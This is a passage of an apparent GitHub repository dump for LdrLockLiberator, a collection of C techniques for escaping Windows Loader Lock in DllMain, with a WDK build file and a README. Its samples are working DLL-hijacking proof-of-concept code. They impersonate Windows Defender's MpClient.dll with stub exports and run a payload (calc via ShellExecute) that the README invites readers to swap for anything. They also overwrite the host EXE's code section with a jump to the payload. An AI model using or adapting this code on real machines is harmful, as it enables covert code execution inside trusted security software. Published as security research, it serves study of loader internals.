code path that will lead to an exception 526 | // Fill memory section with some value that will cause an interrupt in the main thread (this may or may not work at all) 527 | RtlFillMemory(exeHandle, mbi.RegionSize, 0xff); 528 | 529 | // Add process-wide exception handler 530 | // Exception handling code is run on the same thread that generates the exception 531 | exceptionHandler = AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)LdrLockEscapeVehCatchExceptionHandler); 532 | 533 | // Save memory section address and size 534 | dataMemorySectionExeAddress = exeHandle; 535 | dataMemorySectionExeSize = mbi.RegionSize; 536 | break; 537 | } 538 | 539 | exeHandle = (HMODULE)((DWORD_PTR)exeHandle + mbi.RegionSize); 540 | } 541 | } 542 | 543 | VOID LdrLockDetonateNuclearOptionPayload(VOID) { 544 | payload(); 545 | 546 | // The program doesn't crash if we don't exit but it does hang forever 547 | ExitProcess(0); 548 | 549 | // Returning from this function causes: ntdll!RtlExitUserThread -> ntdll!NtTerminateThread 550 | } 551 | 552 | VOID LdrLockDetonateNuclearOption(VOID) { 553 | // This technique is a basic PoC just to get something working as a starting point 554 | // It overwrites the entire .text page of the EXE with NOP instructions then places a JMP gadget pointing to our payload at the very end 555 | // It doesn't feature process continuation and certainly isn't very subtle 556 | 557 | HMODULE exeHandle = GetModuleHandle(NULL); 558 | 559 | // This assumes the PE header section is size 0x1000 and that the code section is right after it which will be true for 99.9% of executables but there's technically no guarantee 560 | PBYTE codeSection = (PBYTE)exeHandle + 0x1000; 561 | 562 | // Get size of code section 563 | MEMORY_BASIC_INFORMATION mbi; 564 | VirtualQuery(codeSection, &mbi, sizeof(mbi)); 565 | 566 | DWORD oldProtect = 0; 567 | VirtualProtect(codeSection, mbi.RegionSize, PAGE_READWRITE, &oldProtect); 568 | 569 | // Fill code section with NOP instructions 570 | RtlFillMemory(codeSection, mbi.RegionSize, 0x90); 571 | 572 | // Assemble these instructions with NASM 573 | BYTE jmpAssembly[12] = { 574 | 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, 575 | 0xff, 0xe0 // jmp rax 576 | }; 577 | 578 | // Place JMP gadget at end of code section 579 | RtlCopyMemory(codeSection + mbi.RegionSize - sizeof(jmpAssembly), jmpAssembly, sizeof(jmpAssembly)); 580 | DWORD_PTR* assemblyJmpDestinationAddr = (DWORD_PTR*)(codeSection + mbi.RegionSize - sizeof(jmpAssembly) + 2); 581 | *assemblyJmpDestinationAddr = (DWORD_PTR)LdrLockDetonateNuclearOptionPayload; // Set JMP destination address 582 | 583 | VirtualProtect(codeSection, mbi.RegionSize, oldProtect, &oldProtect); 584 | } 585 | 586 | #undef I_PLEDGE_NOT_TO_UNLOCK_THE_LOADER_IN_MY_PRODUCTION_APP 587 | // Please sign: [YOUR NAME HERE] 588 | // Thank you for your cooperation! 589 | 590 | // https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain#example 591 | BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvReserved) 592 | { 593 | switch (fdwReason) 594 | { 595 | case DLL_PROCESS_ATTACH: 596 | // 597 | // Choose a technique: 598 | // 599 | 600 | #ifdef I_PLEDGE_NOT_TO_UNLOCK_THE_LOADER_IN_MY_PRODUCTION_APP 601 | LdrFullUnlock(); 602 | #endif 603 | LdrLockEscapeAtCrtExit(lpvReserved, hinstDll); 604 | //LdrLockWinRace(lpvReserved); 605 | //LdrLockEscapeVehCatchException(); 606 | //LdrLockDetonateNuclearOption(); 607 | break; 608 | } 609 | 610 | return TRUE; 611 | } 612 | -------------------------------------------------------------------------------- /LdrLockLiberatorWDK/LdrLockLiberatorWDK.c: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2023 Elliot Killick 2 | // Licensed under the MIT License. See LICENSE file for details. 3 | 4 | // WIN32_LEAN_AND_MEAN has already been defined (don't redefine to avoid warning) 5 | #include 6 | #include 7 | 8 | #define DLL 9 | #ifdef DLL 10 | #define API __declspec(dllexport) 11 | #define EMPTY_IMPL {} 12 | #else 13 | #define API __declspec(dllimport) 14 | #define EMPTY_IMPL 15 | #endif 16 | 17 | EXTERN_C API VOID MpUpdateStartEx(VOID) EMPTY_IMPL; 18 | EXTERN_C API VOID MpClientUtilExportFunctions(VOID) EMPTY_IMPL; 19 | EXTERN_C API VOID MpFreeMemory(VOID) EMPTY_IMPL; 20 | EXTERN_C API VOID MpManagerEnable(VOID) EMPTY_IMPL; 21 | EXTERN_C API VOID MpNotificationRegister(VOID) EMPTY_IMPL; 22 | EXTERN_C API VOID MpManagerOpen(VOID) EMPTY_IMPL; 23 | EXTERN_C API VOID MpHandleClose(VOID) EMPTY_IMPL; 24 | EXTERN_C API VOID MpManagerVersionQuery(VOID) EMPTY_IMPL; 25 | EXTERN_C API VOID MpCleanStart(VOID) EMPTY_IMPL; 26 | EXTERN_C API VOID MpThreatOpen(VOID) EMPTY_IMPL; 27 | EXTERN_C API VOID MpScanStart(VOID) EMPTY_IMPL; 28 | EXTERN_C API VOID MpScanResult(VOID) EMPTY_IMPL; 29 | EXTERN_C API VOID MpCleanOpen(VOID) EMPTY_IMPL; 30 | EXTERN_C API VOID MpThreatEnumerate(VOID) EMPTY_IMPL; 31 | EXTERN_C API VOID MpRemapCallistoDetections(VOID) EMPTY_IMPL; 32 | 33 | // msvcrt.dll exports all of these functions, however, CRT header files don't define them as a "__declspec(dllimport)" so let's do so here 34 | EXTERN_C __declspec(dllimport) void __cdecl _unlock(int); 35 | EXTERN_C __declspec(dllimport) void __cdecl _lock(int); 36 | 37 | // Import atexit/_onexit function (either one will work) directly from msvcrt.dll otherwise any call from a DLL to atexit/_onexit will compile down to a stub in this DLL that calls msvcrt!_dllonexit 38 | // We don't want msvcrt!_dllonexit because it runs under loader lock (during DLL detach) and appears to be broken in MSVCRT anyway (causes a crash) 39 | // 40 | // If you "#include " (C or C++) then you must edit the stdlib.h header file to comment out the atexit and _onexit function declarations 41 | // Otherwise, you will get: "error C2375: '_onexit' : redefinition; different linkage" 42 | // Full WDK Path: C:\WinDDK\7600.16385.1\inc\crt\stdlib.h 43 | 44 | // Trying to redefine atexit in C++ (not C) will result in this error (see build log): 45 | // error C2375: 'atexit' : redefinition; different linkage 46 | // predefined c++ types (compiler internal) : see declaration of 'atexit' 47 | // There's no easy way around that without modifying compiler internals so for C++ use _onexit 48 | // Apparently these predefined types for C++ are stored in c1xx.dll: https://www.geoffchappell.com/studies/msvc/language/predefined/index.htm 49 | // - Grepping for "atexit" in that DLL yields results 50 | // - Also, the aforementioned "predefined c++ types" error message string exists in that DLL 51 | // - Knowing this, it shouldn't be too difficult to patch "atexit" out with a hex editor if you're so inclined 52 | // - Full WDK path: C:\WinDDK\7600.16385.1\bin\x86\amd64\c1xx.dll 53 | EXTERN_C __declspec(dllimport) int __cdecl atexit(void (__cdecl*)(void)); 54 | 55 | //EXTERN_C __declspec(dllimport) int __cdecl _onexit(void (__cdecl*)(void)); 56 | 57 | VOID payload(VOID) { 58 | ShellExecute(NULL, L"open", L"calc", NULL, NULL, SW_SHOW); 59 | 60 | // Ensure program doesn't terminate before ShellExecute completes (see main project C file for further explanation and the correct way way of doing this) 61 | Sleep(3000); 62 | } 63 | 64 | VOID atexitHandler(VOID) { 65 | // Unlock CRT critical section: msvcrt!CrtLock_Exit 66 | // This is necessary because ShellExecute calls atexit on a NEW THREAD 67 | // Doing this is 100% safe (see main project C file for details) 68 | _unlock(8); 69 | 70 | payload(); 71 | 72 | // This is necessary to be 100% safe (see main project C file for details) 73 | _lock(8); 74 | } 75 | 76 | //int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow) // EXE 77 | BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvReserved) // DLL 78 | { 79 | switch (fdwReason) 80 | { 81 | case DLL_PROCESS_ATTACH: 82 | // Use "_onexit" for C++ 83 | atexit(payload); 84 | // The original MSVCRT has no concept of "quick exit" (no quick_exit() function) so no at_quick_exit() is necessary here 85 | } 86 | 87 | return TRUE; 88 | } 89 | -------------------------------------------------------------------------------- /LdrLockLiberatorWDK/Sources: -------------------------------------------------------------------------------- 1 | TARGETNAME=LdrLockLiberatorWDK 2 | # EXE = PROGRAM 3 | # DLL = DYNLINK 4 | TARGETTYPE=DYNLINK 5 | 6 | TARGETLIBS=$(SDK_LIB_PATH)\kernel32.lib \ 7 | $(SDK_LIB_PATH)\shell32.lib 8 | # Linking with shell32.lib implicitly links in many other libraries, remove it for a more minimal process runtime 9 | # We only need it for ShellExecute 10 | 11 | # Recommended warning level (highest before /Wall) 12 | MSC_WARNING_LEVEL=/W4 13 | 14 | # Disable error on warning (enabled by default) 15 | # According to "makefile.new" (a file I found by grepping WDK for the "WX" string), defining "BUILD_ALLOW_ALL_WARNINGS" should do this for both build stages but for some reason it doesn't work) 16 | COMPILER_WX_SWITCH= 17 | LINKER_WX_SWITCH= 18 | 19 | C_DEFINES=/DUNICODE /D_UNICODE 20 | 21 | # Use cdecl instead of stdcall by default (as done by modern versions of Visual Studio) 22 | # MSC_STDCALL or cpu_STDCALL should do this for all architectures but for some reason it doesn't work 23 | 386_STDCALL=0 24 | amd64_STDCALL=0 25 | 26 | # Compiler (cl.exe) flags 27 | # Disable pointless "unreferenced formal parameter" /w4 warning 28 | USER_C_FLAGS=/wd4100 29 | # Linker (link.exe) flags 30 | LINKER_FLAGS= 31 | 32 | # EXE 33 | UMTYPE=windows 34 | UMENTRY=wwinmain 35 | 36 | # DLL 37 | DLLENTRY=DllMain 38 | # Specify exports with __declspec(dllexport) instead of in a .def file 39 | DLLDEF= 40 | 41 | # The original C:\Windows\System32\msvcrt.dll 42 | USE_MSVCRT=1 43 | 44 | # The C standard that comes with this WDK version is very old: C89 (very broken in terms of compliance) 45 | # For further development, I recommned switching to C++ (change this to a .cpp/.cc file) 46 | SOURCES=LdrLockLiberatorWDK.c 47 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | Logo 4 | 5 |
6 | 7 |

8 | LdrLockLiberator 9 |

10 | 11 |

12 | For when DLLMain is the only way 13 |

14 | 15 | LdrLockLiberator is a collection of techniques for escaping or otherwise forgoing Loader Lock while executing your code from `DllMain` or anywhere else the lock may be present. It was released in conjunction with the ["Perfect DLL Hijacking"](https://elliotonsecurity.com/perfect-dll-hijacking) article. We give you the key to unlock the library loader and do what you want with your loader (on your own computer)! 16 | 17 | The techniques are intended to be **universal, clean, and 100% safe** where possible. They're designed to work without modifying memory protection or pointers. This is important for staying compatible with modern exploit mitigations. The only officially supported architecture is x86-64 (32-bits is largely extinct). 18 | 19 | Want to learn the architectural reasons as to why `DllMain` is so troublesome on Windows whereas Unix-like operating systems don't struggle here? [Please, be my guest!](https://github.com/ElliotKillick/windows-vs-linux-loader-architecture#the-root-of-dllmain-problems). 20 | 21 | ## Techniques 22 | 23 | ### LdrFullUnlock 24 | 25 | It's exactly what it sounds like. Unlock Loader Lock, set loader events, and flip `LdrpWorkInProgress`. It's recommended to keep `RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN` undefined for the best stability. 26 | 27 | **DO NOT USE THIS TECHNIQUE IN PROUDCTION CODE.** This was created as a byproduct of my sheer curiosity and will to leave no stone unturned. Anything you do with this code is on you. 28 | 29 | ### Escaping at the Exit 30 | 31 | We use the CRT `atexit` typically used by EXEs in our DLL code to escape Loader Lock when the program exits. For dynamic loads (using LoadLibrary), this is made 100% safe by pinning (`LDR_ADDREF_DLL_PIN`) our library using `LdrAddRefDll` so a following `FreeLibrary` won't remove our DLL from memory. 32 | 33 | ### Using Locks to Our Advantage 34 | 35 | Coming soon! 36 | 37 | ## Samples 38 | 39 | The provided samples hijack `MpClient.dll` from `C:\Program Files\Windows Defender\Offline\OfflineScannerShell.exe`. Instructions are provided in the source code comments to easily adapt this for any other DLL and program pairing (primarily just updating the exports for static loads)! 40 | 41 | As a proof of concept, we run `ShellExecute` as the default payload. However, you can make this do anything you want! 42 | 43 | ## Compilation 44 | 45 | ### Visual Studio 46 | 47 | The `LdrLockLiberator.c` at the root of this project has been tested to compile on Visual Studio 2022. 48 | 49 | Link to NTDLL by selecting the current Visual Studio project in the Solution Explorer window, then navigating to `Project > Properties` in the menu bar. From the drop-down `Configuration` menus at the top, select `All Configurations` and `All Platforms`. Now, go to `Linker > Input` then append to `Additional Dependencies`: `ntdll.lib`. 50 | 51 | ### WDK 52 | 53 | #### Installing the Correct WDK 54 | 55 | 1. Go to the [WDK download page](https://learn.microsoft.com/en-us/windows-hardware/drivers/other-wdk-downloads#step-2-install-the-wdk) 56 | 2. Click on the Windows 7 [WDK 7.1.0](https://www.microsoft.com/en-us/download/confirmation.aspx?id=11800) link to start download the correct WDK version 57 | - This is the last public WDK that **officially** supports linking to the original MSVCRT (`C:\Windows\System32\msvcrt.dll`) 58 | - SHA-256 checksum: `5edc723b50ea28a070cad361dd0927df402b7a861a036bbcf11d27ebba77657d` 59 | 3. Mount the downloaded ISO then run `KitSetup.exe` 60 | 4. Click through the installation process using the default options 61 | 62 | #### Compiling 63 | 64 | 1. In the Start menu, search for "x64 Free Build Environment" then open it 65 | 2. Navigate (using `cd`) to `LdrLockLiberatorWDK` in this repo 66 | 3. Run `build` 67 | 68 | Done! Your DLL is built and ready for use! 69 | 70 | As an alternative to WDK, compiling with MinGW would also probably work. 71 | 72 | ## License 73 | 74 | MIT License - Copyright (C) 2023-2024 Elliot Killick 75 | -------------------------------------------------------------------------------- /logo.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ElliotKillick/LdrLockLiberator/cc7606e66a6c9602f2fe0fe926537303c0772b37/logo.webp --------------------------------------------------------------------------------